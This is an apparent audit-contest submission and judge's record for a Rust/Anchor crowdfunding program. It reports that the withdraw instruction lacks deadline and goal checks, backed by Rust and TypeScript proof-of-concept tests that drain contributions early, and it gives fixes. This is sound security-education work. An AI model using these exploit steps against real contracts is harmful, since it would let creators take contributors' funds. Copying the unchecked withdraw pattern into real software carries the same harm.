Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

Creator can withdraw funds at any time, bypassing deadline and goal checks

Root + Impact

Description

  • The program allows a campaign creator to withdraw raised funds once the crowdfunding campaign successfully concludes and meets its goal after the deadline has passed.

  • The `withdraw` instruction is implemented without checks to verify if the campaign deadline has been reached or if the funding goal was met.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
// @> Root Cause: Missing checks verifying that Clock::get()?.unix_timestamp >= fund.deadline
// @> Root Cause: Missing checks verifying that fund.amount_raised >= fund.goal
let amount = ctx.accounts.fund.amount_raised;
**ctx
.accounts
.fund
.to_account_info()
.try_borrow_mut_lamports()? = ctx
.accounts
.fund
.to_account_info()
.lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;

Risk

Likelihood:

  • Creators calling the withdraw instruction immediately after campaign creation when contributions are received.

  • Creators calling the withdraw instruction immediately after campaign creation when contributions are received.

Impact:

  • Total loss of funds for contributors as creators can rug pull contributions before the campaign ends.

  • Contributors are unable to claim refunds since the campaign account is drained of all raised funds.


    Proof of Concept

#[test]
fn test_withdraw_before_deadline_vulnerability() {
setup_syscall_stubs();
let fund_key = Pubkey::new_unique();
let creator_key = Pubkey::new_unique();
let program_id = crate::ID;
let mut fund_lamports = 100_000_000;
let mut fund_data = vec![0u8; 8 + Fund::INIT_SPACE];
let mut creator_lamports = 1_000_000_000;
let mut creator_data = vec![];
let initial_fund_state = Fund {
name: "Test Fund".to_string(),
description: "Desc".to_string(),
goal: 500,
deadline: 5000,
creator: creator_key,
amount_raised: 500,
dealine_set: true,
};
let mut writer = &mut fund_data[..];
initial_fund_state.try_serialize(&mut writer).unwrap();
let fund_info = AccountInfo::new(
&fund_key, false, true, &mut fund_lamports, &mut fund_data, &program_id, false, 0
);
let creator_info = AccountInfo::new(
&creator_key, true, true, &mut creator_lamports, &mut creator_data, &program_id, false, 0
);
let system_program_key = anchor_lang::solana_program::system_program::ID;
let bpf_loader_id = anchor_lang::solana_program::bpf_loader::id();
let mut system_program_lamports = 0;
let mut system_program_data = vec![];
let system_program_info = AccountInfo::new(
&system_program_key, false, false, &mut system_program_lamports, &mut system_program_data, &bpf_loader_id, true, 0
);
let fund_acc_final: Account<Fund> = Account::try_from(&fund_info).unwrap();
let creator_sig: Signer = Signer::try_from(&creator_info).unwrap();
let system_prog: Program<System> = Program::try_from(&system_program_info).unwrap();
let mut accounts = FundWithdraw {
fund: fund_acc_final,
creator: creator_sig,
system_program: system_prog,
};
let ctx = Context::new(
&program_id,
&mut accounts,
&[],
FundWithdrawBumps::default(),
);
// Act: Withdraw funds (even though clock time is 1000 and campaign deadline is 5000)
let res = crate::rustfund::withdraw(ctx);
// Assert: Succeeds because there is no check preventing early withdrawal!
assert!(res.is_ok());
}

Recommended Mitigation

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
+ let fund = &ctx.accounts.fund;
+ let clock = Clock::get()?;
+
+ // Ensure the deadline has passed
+ require!(fund.deadline != 0 && clock.unix_timestamp >= fund.deadline as i64, ErrorCode::DeadlineNotReached);
+
+ // Ensure the funding goal was met
+ require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotMet);
let amount = ctx.accounts.fund.amount_raised;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] No check for if campaign reached deadline before withdraw

## Description A Malicious creator can withdraw funds before the campaign's deadline. ## Vulnerability Details There is no check in withdraw if the campaign ended before the creator can withdraw funds. ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## Impact A Malicious creator can withdraw all the campaign funds before deadline which is against the intended logic of the program. ## Recommendations Add check for if campaign as reached deadline before a creator can withdraw ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { //add this if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } //stops here let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## POC keep everything in `./tests/rustfund.rs` up on to `Contribute to fund` test, then add the below: ```TypeScript it("Creator withdraws funds when deadline is not reached", async () => { const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey); const fund = await program.account.fund.fetch(fundPDA); await new Promise(resolve => setTimeout(resolve, 150)); //default 15000 console.log("goal", fund.goal.toNumber()); console.log("fundBalance", await provider.connection.getBalance(fundPDA)); console.log("creatorBalanceBefore", await provider.connection.getBalance(creator.publicKey)); await program.methods .withdraw() .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey); console.log("creatorBalanceAfter", creatorBalanceAfter); console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA)); }); ``` this outputs: ```Python goal 1000000000 fundBalance 537590960 creatorBalanceBefore 499999999460946370 creatorBalanceAfter 499999999960941400 fundBalanceAfter 37590960 ✔ Creator withdraws funds when deadline is not reached (398ms) ``` We can notice that the creator withdraws funds from the campaign before the deadline.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!